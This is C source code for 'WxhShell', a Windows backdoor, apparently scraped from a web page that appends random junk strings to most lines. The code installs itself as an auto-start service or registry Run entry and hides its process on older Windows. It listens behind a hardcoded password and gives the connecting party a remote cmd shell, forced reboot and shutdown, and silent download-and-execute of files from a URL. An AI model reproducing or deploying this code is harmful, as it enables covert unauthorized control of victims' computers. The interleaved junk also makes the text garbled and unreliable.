    } E`D%PEps+  
    break; b`~wG e  
    } +!O- kd  
  // 关机 p^QZq>v  
  case 'd': { W |UtY`1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D<):ZfUbI  
    if(Boot(SHUTDOWN)) shFc[A,r}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ujzW|HW^v  
    else { Sp?NfJ\Ie  
    closesocket(wsh); 2@i;_3sv  
    ExitThread(0); 9){  
    } $kz!zjC'  
    break; Fb_S&!  
    } 2CLB1  
  // 获取shell GjQfi'vCk  
  case 's': { %}qbkkZ  
    CmdShell(wsh); 8l)  
    closesocket(wsh); j6>tH"i  
    ExitThread(0); %_f;G+fK\p  
    break; .9M.|  
  } U[8{_h<#  
  // 退出 !: us!s  
  case 'x': { 5K.+CO<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m_lr PY-  
    CloseIt(wsh); v'ay.oVzw  
    break; =>LZm+P  
    } %+tV/7|F  
  // 离开 &RY)o^g[4  
  case 'q': { "JhimgwvY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F!g;A"?V  
    closesocket(wsh); w~@[ r4W  
    WSACleanup();  s>[{}7ca  
    exit(1); p@I9< ^"  
    break; h)dRR_  
        } P_Uutn~  
  } Mg? L-C  
  } xFb3O|TC  
Rlw3!]5+2  
  // 提示信息 Z^_>A)<s<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &3DK^|Lq  
} ]Yz'8uts  
  } I:;+n^N?  
]b1Li}  
  return; .Q\\dESn"  
} ZBM!MSf:  
->oz#  
// shell模块句柄 m,6h ee  
int CmdShell(SOCKET sock) fl uGf  
{ +/cgw,  
STARTUPINFO si; Gp|JU Fo  
ZeroMemory(&si,sizeof(si)); dWpk='  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,"G\f1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m|4LbWz  
PROCESS_INFORMATION ProcessInfo; Tg''1 Wl*  
char cmdline[]="cmd"; jnBC;I[:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o)I/P<  
  return 0; Fd8hGj1  
} d*-Xuv  
=AkX4k  
// 自身启动模式 x_:hii?6V  
int StartFromService(void) nVOqn\m-  
{ v33T @  
typedef struct J(9=T<%T  
{ }$aNOf%:  
  DWORD ExitStatus; A*0*sZ0  
  DWORD PebBaseAddress; vm}G[  
  DWORD AffinityMask; 8S>>7z!U  
  DWORD BasePriority; {D(,ft;s^  
  ULONG UniqueProcessId; yazZw}};  
  ULONG InheritedFromUniqueProcessId; 3$_2weZxYn  
}   PROCESS_BASIC_INFORMATION; UR:n5V4  
ScJu_A f  
PROCNTQSIP NtQueryInformationProcess; [W(Y3yyY  
K&S@F!#g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S0xIvzS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'Y)/~\FI  
[.3sE  
  HANDLE             hProcess; 8+(c1  
  PROCESS_BASIC_INFORMATION pbi; !-(J-45  
{B^pnLc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kI+b <$:D  
  if(NULL == hInst ) return 0; Qp+lJAY  
3B#!2|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0/Q5d,'Y[2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X_?%A54z?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [V5-%w^  
CWMlZ VG  
  if (!NtQueryInformationProcess) return 0; ~@fanR =  
OqEHM%j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RKk"  
  if(!hProcess) return 0; l $Zs~@N  
J/7 u7_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M?hFCt3Y  
<2)v9c  
  CloseHandle(hProcess); Y6;@/[_  
cVg$dt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =,E'~P  
if(hProcess==NULL) return 0; a71}y;W  
)"~=7)~<^  
HMODULE hMod; FB!z#Eim  
char procName[255]; =n)#!i  
unsigned long cbNeeded; !F,s"  
hDb HSZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g TD%4V  
my=~"bw4  
  CloseHandle(hProcess); p[gAZ9  
R\ e#$"a5  
if(strstr(procName,"services")) return 1; // 以服务启动 U]mO7HK  
auoA   
  return 0; // 注册表启动 KM@`YV_"g  
} g4T3?"xMB_  
U%Ol^xl  
// 主模块 SmvwhX  
int StartWxhshell(LPSTR lpCmdLine) G`WzJS*}v  
{ h%|9]5(=  
  SOCKET wsl; cWc$ yE'  
BOOL val=TRUE; /Sh4pu"'  
  int port=0; "mG!L$  
  struct sockaddr_in door; 5?)}F/x  
B8>FCF&}E  
  if(wscfg.ws_autoins) Install(); yT2vO_rH  
E.Pje@d  
port=atoi(lpCmdLine); Y~x`6  
AF QnCl Of  
if(port<=0) port=wscfg.ws_port; f`bIQ9R  
{ <~s&EPd  
  WSADATA data; :az!H"4W/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Mof)2Hbd:  
9EjjkJ%)q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HMFl/%z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RNl\`>Cz  
  door.sin_family = AF_INET; =7H.F:BBG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 64;oB_  
  door.sin_port = htons(port); }% FDm@+  
bmSpbX\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <w%Yq?^  
closesocket(wsl); sCL/pb]  
return 1; Yoj~|qL  
} >^sz5d+X  
aB7d(  
  if(listen(wsl,2) == INVALID_SOCKET) { _TV2)  
closesocket(wsl); upZYv~Sa  
return 1; / *O u$  
} +q 4W0  
  Wxhshell(wsl); U_.n=d~B  
  WSACleanup(); R20a(4 m  
56VE[G  
return 0; lu<Np9/5<  
{8ld:ZP  
} iRkOH]+K  
+D6-m  
// 以NT服务方式启动 (4E.Li<O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~ mHXz  
{ 5mDVFb 3a  
DWORD   status = 0; \E>%W  
  DWORD   specificError = 0xfffffff; q^Q|.&_k /  
M ^ 0w/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ma n^\gkCi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b0rt.XB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =]2 b8  
  serviceStatus.dwWin32ExitCode     = 0; l;.[W|  
  serviceStatus.dwServiceSpecificExitCode = 0; G}Q}H*  
  serviceStatus.dwCheckPoint       = 0; N}eU.#L  
  serviceStatus.dwWaitHint       = 0; Y*h`),  
,dGFX]P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pQ4 %]Api  
  if (hServiceStatusHandle==0) return; x)%% 5  
ghE?8&@ iq  
status = GetLastError(); ?tW%"S^D  
  if (status!=NO_ERROR) 6kgCS{MZ  
{ ~ `tJvUo0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )1X' W  
    serviceStatus.dwCheckPoint       = 0; xP<H,og&x=  
    serviceStatus.dwWaitHint       = 0; KE&InTM/j  
    serviceStatus.dwWin32ExitCode     = status; tr#)iZ\  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?Xy w<fMQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oxxE'cx{g  
    return; :*^(OnIe  
  } i2`.#YJ&v  
R.^Bxi-UG:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P\Pc/[ Z7  
  serviceStatus.dwCheckPoint       = 0; ~2;&pZ$  
  serviceStatus.dwWaitHint       = 0; s8/ozaeo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (2hk <  
} /It.>1~2@  
N6-2*ES  
// 处理NT服务事件,比如:启动、停止 Ae,2Xi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?];~N5<'  
{ ORFr7a'K  
switch(fdwControl) !>"INmz  
{ f@,hO5h(_|  
case SERVICE_CONTROL_STOP: >TH-Q[  
  serviceStatus.dwWin32ExitCode = 0; c +"O\j'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {VrAh*#h  
  serviceStatus.dwCheckPoint   = 0; Vj9`[1}1Z  
  serviceStatus.dwWaitHint     = 0; ~7eUt^SD;  
  { qHcY 2LV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q? gQ  
  } *NX*/(Q  
  return; *$*nY [/5  
case SERVICE_CONTROL_PAUSE: iq[2H$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o} bj!h]N  
  break; #I*ht0++  
case SERVICE_CONTROL_CONTINUE: 7csl1|U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /3"e3{u y  
  break; oIu,rjb  
case SERVICE_CONTROL_INTERROGATE: o i,g  
  break; & Q|f*T  
}; iZVT% A+q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;]8p:ME  
} H/ B^N,oi  
CC]@`R5  
// 标准应用程序主函数 Is#v6:#^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U:T5o]P<  
{ cZ7F1H~  
b5iJ m-  
// 获取操作系统版本 SOi(5]  
OsIsNt=GetOsVer(); ~ 33@H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t9=|* =;9)  
SFm.<^6  
  // 从命令行安装 z!uB&2C{k  
  if(strpbrk(lpCmdLine,"iI")) Install(); `G:qtHn"Q<  
!:!@dC%8_  
  // 下载执行文件 ~O7cUsAi'  
if(wscfg.ws_downexe) { da7x 1n$D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  ]pucv!  
  WinExec(wscfg.ws_filenam,SW_HIDE); jv?aB   
} k6 h^  
1v8:,!C  
if(!OsIsNt) { dBi3ZC AF  
// 如果时win9x,隐藏进程并且设置为注册表启动 S+bWD7  
HideProc(); CUTEp/+  
StartWxhshell(lpCmdLine); } cH"lppX  
} .k?hb]2N  
else t]YLt ,  
  if(StartFromService()) Ltq*Vcl\  
  // 以服务方式启动 |Jx2"0:M  
  StartServiceCtrlDispatcher(DispatchTable); XxrO:$  
else NVM2\fs  
  // 普通方式启动 |M{,}.*CU  
  StartWxhshell(lpCmdLine); ysw6hVb  
?X5glDZ$  
return 0; SieV%T0t1  
} l{7Dv1[Ss  
L-oPb)  
|^&2zyUj/  
XP Iu]F  
=========================================== }E\+e!'!2  
5qAE9G!c  
2H32wpY ,l  
9FR1Bruf  
]Rys=.!  
dA!f v`,6-  
" HT;QepY3  
UY?]\4Om  
#include <stdio.h> D;;o  
#include <string.h> j]] ziz,E  
#include <windows.h> "Qm~;x2kB  
#include <winsock2.h> V IRv  
#include <winsvc.h> 5a/ A_..+I  
#include <urlmon.h> AFF>r#e  
}5c'ui!3H  
#pragma comment (lib, "Ws2_32.lib") eVNBhR}HS  
#pragma comment (lib, "urlmon.lib") t1_y1!u Q  
(;S]{z%  
#define MAX_USER   100 // 最大客户端连接数 YH'.Yj2  
#define BUF_SOCK   200 // sock buffer -<HvhW  
#define KEY_BUFF   255 // 输入 buffer QH? 2v  
eRWF7`HH+  
#define REBOOT     0   // 重启 W*WH .1&  
#define SHUTDOWN   1   // 关机 ->#@rF:S  
UOL%tT  
#define DEF_PORT   5000 // 监听端口 yl;$#aZB  
mjr{L{H=?+  
#define REG_LEN     16   // 注册表键长度 ."@a1_F|  
#define SVC_LEN     80   // NT服务名长度 Y_iF$ m/R  
e+[J[<8  
// 从dll定义API A.cZa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z_iyuLRdb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /iJhCB[QZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?ia[KLt"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m_O=X8uj"D  
'MM~ ~:  
// wxhshell配置信息 q,h.W JI  
struct WSCFG { IfI$  
  int ws_port;         // 监听端口 5'L}LT8p@  
  char ws_passstr[REG_LEN]; // 口令 g7q]Vj  
  int ws_autoins;       // 安装标记, 1=yes 0=no F#C6.`B  
  char ws_regname[REG_LEN]; // 注册表键名 U JRT4>G  
  char ws_svcname[REG_LEN]; // 服务名 ofhZ@3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `uJ l<kHI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L\'qAfRZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |k9j )Hg(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]KPg=@Q/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KVe'2Q<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )( jNd&H  
l4.@YYzbp.  
}; 0JWD] "  
YyBq+6nq5  
// default Wxhshell configuration x?& xz;  
struct WSCFG wscfg={DEF_PORT, i{RS/,h4  
    "xuhuanlingzhe", q9Opa2  
    1, )RKhEm%Vr2  
    "Wxhshell", 2o7C2)YT$  
    "Wxhshell", U=?"j-wN  
            "WxhShell Service", $">NW& i(  
    "Wrsky Windows CmdShell Service", -VT?/=Y s  
    "Please Input Your Password: ", d:WhP_rK9  
  1, +o70: UF%  
  "http://www.wrsky.com/wxhshell.exe", *:\9 T#h  
  "Wxhshell.exe" `pS)q x.a  
    }; YY>Uf1}*9  
#a>!U'1|  
// 消息定义模块  G6ES]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P\4o4MF@K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TVh7h`Eg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :s985sEv  
char *msg_ws_ext="\n\rExit."; <cc0phr  
char *msg_ws_end="\n\rQuit."; 1OwkLy,P  
char *msg_ws_boot="\n\rReboot..."; X#C7r@H  
char *msg_ws_poff="\n\rShutdown..."; e:D9;`C  
char *msg_ws_down="\n\rSave to "; I }I/dh  
#AnSjl  
char *msg_ws_err="\n\rErr!"; >$9yQ9&|  
char *msg_ws_ok="\n\rOK!"; B{i;+[ase  
iSW73P;)  
char ExeFile[MAX_PATH]; |*| a~t  
int nUser = 0; u\;dU nr  
HANDLE handles[MAX_USER]; =ZL}Av}  
int OsIsNt; DG FvRB  
rKO*A7vE  
SERVICE_STATUS       serviceStatus; %QZ!Tb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <"P '"SC  
P9chRy  
// 函数声明 r:Tb{cA  
int Install(void); oD2;Tdk  
int Uninstall(void); \ } Szb2  
int DownloadFile(char *sURL, SOCKET wsh); 85~h+Q;  
int Boot(int flag); zt%Fvn4/pF  
void HideProc(void); [gY__  
int GetOsVer(void); UR=s{nFd  
int Wxhshell(SOCKET wsl); 'GoeVq  
void TalkWithClient(void *cs); *N+aZV}`Z  
int CmdShell(SOCKET sock); q%&7J<   
int StartFromService(void); _cs9R%  
int StartWxhshell(LPSTR lpCmdLine); \r9%;?f  
QQ8W;x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b:&$x (|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V1U[p3J-S  
p&27|1pZm  
// 数据结构和表定义 4V3 w$:,  
SERVICE_TABLE_ENTRY DispatchTable[] = 7C yLSZ  
{ !/Ps}.)A`  
{wscfg.ws_svcname, NTServiceMain}, LX&P]{q KS  
{NULL, NULL} ^$ bhmJYT  
}; 9\0 K%LL  
;z=C]kI6M  
// 自我安装 *0zH5c  
int Install(void) zSXC  
{ LK5H~FK  
  char svExeFile[MAX_PATH]; a];g  
  HKEY key; :*nBo  
  strcpy(svExeFile,ExeFile); ,99G2E v4c  
'Mqa2o'M  
// 如果是win9x系统,修改注册表设为自启动 : seL=  
if(!OsIsNt) { B+ sqEj-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <}1%">RA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7y7y<`)I5  
  RegCloseKey(key); :_zKUv]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .?j8{>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O{R5<"g  
  RegCloseKey(key); ( %!R  
  return 0; m(P)oqwM  
    } c!T{|'?  
  } sn#h=,*4`  
} L ,/i%-J3c  
else { #|i{#~gxM  
4BtdN-T}b  
// 如果是NT以上系统,安装为系统服务 ]~ M -KT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L?(rv.lb  
if (schSCManager!=0) Bb `^,?m  
{ rI789 q  
  SC_HANDLE schService = CreateService [DEw:%  
  ( mm`3-F|  
  schSCManager, Tq8r SZi  
  wscfg.ws_svcname, YR.'JF`C  
  wscfg.ws_svcdisp, lukV G2wDL  
  SERVICE_ALL_ACCESS, #"JU39e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {r8CzJ'f  
  SERVICE_AUTO_START, ]f~YeOB@  
  SERVICE_ERROR_NORMAL, x"80c(i  
  svExeFile, |i8dI)b  
  NULL, \&90$>h  
  NULL, 'wt|buu-H  
  NULL, [9^e u>)A  
  NULL, jwox?]f+  
  NULL , &SJ?XAs  
  ); G#v7-&Yl6  
  if (schService!=0) d`/{0:F  
  { 9@B+$~:}7  
  CloseServiceHandle(schService); 2[hl^f^%,  
  CloseServiceHandle(schSCManager); <,C})H?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0=DawJ9  
  strcat(svExeFile,wscfg.ws_svcname); N~d]}J8}gx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0k 8SDRWU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); < i|+p1t  
  RegCloseKey(key); 9=f'sqIPV  
  return 0; Nj\WvKG  
    } =x}/q4}L  
  } `-\ "p;Hp0  
  CloseServiceHandle(schSCManager); m+"%Jd{q  
} jw[`\h}8  
} b1 cd5  
1P_bG47  
return 1; 5 S& >9l  
} y;jyfc$ `  
{ Se93o  
// 自我卸载 Vp$ckr  
int Uninstall(void) 8ic_|hfY  
{ /H% pOL6(r  
  HKEY key; QPEv@laM  
kuaov3Ui  
if(!OsIsNt) { =Yk$Q\c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0*/~9n-Vl  
  RegDeleteValue(key,wscfg.ws_regname); ;}qCIyuO]  
  RegCloseKey(key); `39U I7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O.dNhd$  
  RegDeleteValue(key,wscfg.ws_regname); /'(P{O>{j  
  RegCloseKey(key); E=d[pI,e  
  return 0; (I5ra_FVs  
  } =l+p nG  
} Yt^+31/%  
} RFdN13sJ v  
else { M ~IiJ9{  
.y!Hw{cq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uJ$,e5q  
if (schSCManager!=0) z4goa2@Z  
{ G`z48  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Su7?-vY  
  if (schService!=0) /a_|oCeC}  
  { eC-TZH@  
  if(DeleteService(schService)!=0) { HNPr| (  
  CloseServiceHandle(schService); GFid riC  
  CloseServiceHandle(schSCManager); :EjIV]e  
  return 0; !QovpO">z  
  } )94R\f  
  CloseServiceHandle(schService); r%m2$vx#  
  } 2i)y'+s  
  CloseServiceHandle(schSCManager); Mx }(w\\T  
} :U s-^zVr  
} x@~V975Y  
9[! Hz)|X  
return 1; rdRX  
} /%7eo?@,  
0AEs+=  
// 从指定url下载文件 aZRgd^4  
int DownloadFile(char *sURL, SOCKET wsh) M: 6 cma5  
{ L!Ro`6|7;  
  HRESULT hr; @'<|B. f  
char seps[]= "/"; 82vx:*Ip!}  
char *token; UgP5^3F2  
char *file; i@RjG   
char myURL[MAX_PATH]; -1R~3j1_  
char myFILE[MAX_PATH]; \WTg0b[  
SUw{xGp  
strcpy(myURL,sURL); [Dhc9  
  token=strtok(myURL,seps); uP$K{ )  
  while(token!=NULL) b<8h\fR#'  
  { = 7?'S#  
    file=token; SXL6)pX  
  token=strtok(NULL,seps); pV!(#45~W  
  } 8yo9$~u;  
$ ]HIYYs  
GetCurrentDirectory(MAX_PATH,myFILE); m3D'7*U  
strcat(myFILE, "\\");  0c{N)  
strcat(myFILE, file); Km?i{TW  
  send(wsh,myFILE,strlen(myFILE),0); #/:[ho{JQ  
send(wsh,"...",3,0); Rl~Tw9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  xOT3>$  
  if(hr==S_OK) +Il=gL1  
return 0; JnZxP> 2B  
else G\ofg  
return 1; dw-r}Qioe  
.UcS4JU  
} y+PukHY  
p d6d(  
// 系统电源模块 e:l 6;  
int Boot(int flag) R3~&|>7/T  
{ (F)zj<{f  
  HANDLE hToken; r?Vob}'Pt]  
  TOKEN_PRIVILEGES tkp; dM') < lF  
N%-nxbI\  
  if(OsIsNt) { [Y*UCFhI0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 01Aa.i^d(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S4_Y^   
    tkp.PrivilegeCount = 1; o8,K1ic5#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k"Is.[I?^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !qR(Rn  
if(flag==REBOOT) { 0KZ 3h|4lP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?tcbiXRG+  
  return 0; iT%UfN/q=I  
} sxqX R6p{  
else { ,LW0{(&z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !CWqI)=  
  return 0; vV|egmw01  
} 5HU>o|.  
  } 2{& " 3dq  
  else { J 4gIkZD  
if(flag==REBOOT) { pUmB h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yE7pCgXt  
  return 0; Np<Aak  
} ^Z!W3q Q  
else { I/tzo(r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B}(YD;7vJ  
  return 0; FD*y[A ?  
} =k_u5@.Z  
} Jx}5`{\  
Xy{b(b;9  
return 1; mVkn~LD:0  
} |qr[*c3$1  
~`BOz P  
// win9x进程隐藏模块 6Z"%vrH  
void HideProc(void) Wp'\NFe 8  
{ {p-%\nOC  
KpE#Ye&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y PM>FDxDB  
  if ( hKernel != NULL ) TKE)NIa  
  { IV *}w"r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p+t8*lkq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {T IGPK  
    FreeLibrary(hKernel); i~2>kxf;K1  
  } Li'T{0)1)  
f 6q@  
return; \u*,~J)z  
} x6,RW],FGR  
V7^?jck  
// 获取操作系统版本 NE! Xt<A  
int GetOsVer(void) LP\ Qwj{  
{ @6gz)  p  
  OSVERSIONINFO winfo; o _-t/ ?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2vXMrh\  
  GetVersionEx(&winfo); L}9 @kjW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c.~|)^OXXO  
  return 1; uJWX7UGuz  
  else =19]a  
  return 0; R%Z} J R.  
} Fg~,1[8w<  
[9L(4F20  
// 客户端句柄模块 ?>&8,p17  
int Wxhshell(SOCKET wsl) @|^C h+%@  
{ ;A C] *  
  SOCKET wsh; Ue%0.G|<W  
  struct sockaddr_in client; lA1R$  
  DWORD myID; `i{:mio  
Re2kD/S3  
  while(nUser<MAX_USER) cqq+#39iC  
{ wO"Q{oi+  
  int nSize=sizeof(client); n`hSn41A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H5 -I}z  
  if(wsh==INVALID_SOCKET) return 1; |gaZq!l  
& #|vGhA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7#&s G  
if(handles[nUser]==0) 4qMHVPJv\  
  closesocket(wsh); g&[g?L  
else Bm?Ku7}.  
  nUser++; 9qPP{K,Pq2  
  } +]{X-R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C }[u[)  
EKt-C_)U  
  return 0; eDm,8Se  
} ]gEfm~YV  
XyIw5 9  
// 关闭 socket A(uN=r@O  
void CloseIt(SOCKET wsh) *qqFIp^  
{ NubD2  
closesocket(wsh);  :DD4BY  
nUser--; [L275]4n!]  
ExitThread(0); #4hP_Vhc  
} kju:/kYA  
,^[s4 =3X?  
// 客户端请求句柄 Qw ^tzP8  
void TalkWithClient(void *cs) SX4p(t  
{ ?=vwr,ir  
KIS.4nt#d"  
  SOCKET wsh=(SOCKET)cs; ]uZH  0  
  char pwd[SVC_LEN]; v ipmzg(S  
  char cmd[KEY_BUFF]; zb4g\H 0  
char chr[1]; ^KlOD_GN|  
int i,j; h~1QmEat  
9W8Dp?:  
  while (nUser < MAX_USER) { &><`?  
fx|9*|E  
if(wscfg.ws_passstr) { nGf@zJDb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ERZ[t\g)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qvscf_%FM  
  //ZeroMemory(pwd,KEY_BUFF); N.<hZ\].=  
      i=0; c;e ,)$)-|  
  while(i<SVC_LEN) { ?BRL;(x  
w"e2}iE7  
  // 设置超时 +!<`$+W  
  fd_set FdRead; Jq!($PdA  
  struct timeval TimeOut; 7-LeJRB  
  FD_ZERO(&FdRead); `=*svrmS  
  FD_SET(wsh,&FdRead); 3l^pY18H'  
  TimeOut.tv_sec=8; V]AL'}( 0  
  TimeOut.tv_usec=0; o#Y1Uamkf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `3OGCy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bb o*  
y6s$.93  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,>^~u  
  pwd=chr[0]; ]]7T5'.  
  if(chr[0]==0xd || chr[0]==0xa) { HfF$>Z'kM  
  pwd=0; !d^`YEfE  
  break; ~!;3W!@(E  
  } S6QG:|#P  
  i++; mvw:E_  
    } j oG>=o  
NplSkv  
  // 如果是非法用户,关闭 socket !9 F+uc5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9p.>L8  
} f[RnL#*xJU  
<ZiO[dEV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h(L5MZs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9+:Trc\%N  
Wama>dy%  
while(1) { lO *Hv9#  
4L0LT>'M\  
  ZeroMemory(cmd,KEY_BUFF); c"xaN  
pI`Ke"  
      // 自动支持客户端 telnet标准   ,?qS#B+>  
  j=0; "xOeBNRjV  
  while(j<KEY_BUFF) { VX%+!6+fS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ixw,$%-]y6  
  cmd[j]=chr[0]; ;1%a:#5  
  if(chr[0]==0xa || chr[0]==0xd) { )&9RoW()?  
  cmd[j]=0;  #59zv=  
  break; j;3o9!.s:  
  } j7d;1 zB+G  
  j++; cG?266{g  
    } B_S3}g<~  
bo2Od  
  // 下载文件 RB"rx\u7K  
  if(strstr(cmd,"http://")) { Ie~~LU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U`Zn*O~/  
  if(DownloadFile(cmd,wsh)) ]Oy<zU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NSq"\A\  
  else iH>djGhTh  
